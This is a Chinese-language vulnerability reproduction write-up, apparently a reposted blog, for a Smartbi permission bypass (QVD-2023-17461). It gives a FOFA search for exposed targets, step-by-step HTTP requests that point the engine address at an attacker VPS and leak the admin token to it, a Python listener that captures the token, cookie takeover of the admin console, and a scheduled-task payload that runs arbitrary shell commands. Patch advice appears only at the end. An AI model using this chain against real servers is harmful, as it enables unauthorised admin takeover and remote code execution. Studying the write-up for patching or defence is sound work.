Smartbi 权限绕过漏洞复现(QVD-2023-17461)

0x01 产品简介

   Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。

0x02 漏洞概述

    Smartbi在特定情况下可被获取用户token,未经授权的攻击者可通过这种方式获取管理员权限,从而以管理员权限接管后台,进一步利用可实现任意代码执行。利用此漏洞需目标可出网。  

0x03 影响范围

  V6 <= Smartbi <= V10

0x04 复现环境

FOFA:app="SMARTBI"

c9043c3d0bdc4b84888755d49baca9e3.png

0x05 漏洞复现

 更新内部引擎地址

POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: your-ip
Content-Type: application/json

http://vpsip:8000

6b9b1d116b294f56a943a172979fbc70.png

 PS:有的环境url不一样,区别在于有没有多一层“/smartbi” 目录,自行根据实际环境测试,如下

f379e7c7ce0245f2a4733423f140ed51.png

56df95d82deb4aae91342eda69287fff.png 验证地址更新的情况 

POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: your-ip
Content-Type: application/json

c9aa86edc7334a5ba8dcffa9b6bfb724.png

扫描二维码关注公众号,回复: 16224715 查看本文章

 发送管理员token到vps(不能使用nc监听,由于nc监听或者返回的值不是json格式,导致报错,获取的token没被存入对应的变量中,无法进行绕过,所以需要手动编写⼀个http服务,用于监听返回的数据为任意json格式)

脚本:

import json
from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')
        print(f'Received data: {post_data}')

        # 解析post_data,并构建要返回的JSON数据
        data = json.loads(post_data)
        response = {'message': 'Data received successfully'}

        # 设置响应头和状态码
        self.send_response(200)
        self.send_header('Content-type', 'application/json')
        self.end_headers()

        # 将JSON数据转换为字节流并发送回客户端
        self.wfile.write(json.dumps(response).encode('utf-8'))

def run_server():
    server_address = ('', 8000)
    httpd = HTTPServer(server_address, RequestHandler)
    print('Server is running...')
    httpd.serve_forever()

if __name__ == '__main__':
    run_server()

原理:使用http.server模块来创建一个基于HTTP协议的服务器。它监听本地的8000端口,并在收到POST请求时,将请求体中的数据解析为JSON格式。然后构建一个包含成功消息的JSON响应,并将其发送回客户端。

开启监听,发送token

54ae89e31c954a10b567fb9284848e0b.png

POST /smartbi/smartbix/api/monitor/token HTTP/1.1
Host: your-ip
Content-Type: application/json

experiment

6c5903aa9b0640acb72ba205f4a6df07.png

 8fe20ec1313e4ac3b60162db02d0e70c.png

利用管理员token 获取登录后的cookie

POST /smartbi/smartbix/api/monitor/login HTTP/1.1
Host: your-ip
Content-Type: application/json

获取到的管理员token

59af1c5d06c3423b9554ff7d4d8c418a.png PS:必须是true,false不管用

替换cookie接管后台

c324629913d14b599e845733b3208ccf.png

替换完刷新页面即可 

ac0f08a7d6d94c439889effb82b92b89.png

 后利用思路:计划任务RCE

importPackage(Packages.java.lang);
importPackage(Packages.java.io);
importPackage(Packages.smartbi.repository);
importPackage(Packages.smartbi.util);
importPackage(Packages.java.util);

builder = new ProcessBuilder();
builder.command("sh", "-c", "执行的命令");
builder.directory(new File(System.getProperty("user.home")));
process = builder.start();

0x06 修复建议

临时缓解方案

通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。

升级修复方案

目前官方已发布补丁,建议受影响用户尽快更新至 2023-07-28 安全补丁包:

https://www.smartbi.com.cn/patchinfo

  

 

猜你喜欢

转载自blog.csdn.net/qq_41904294/article/details/132185106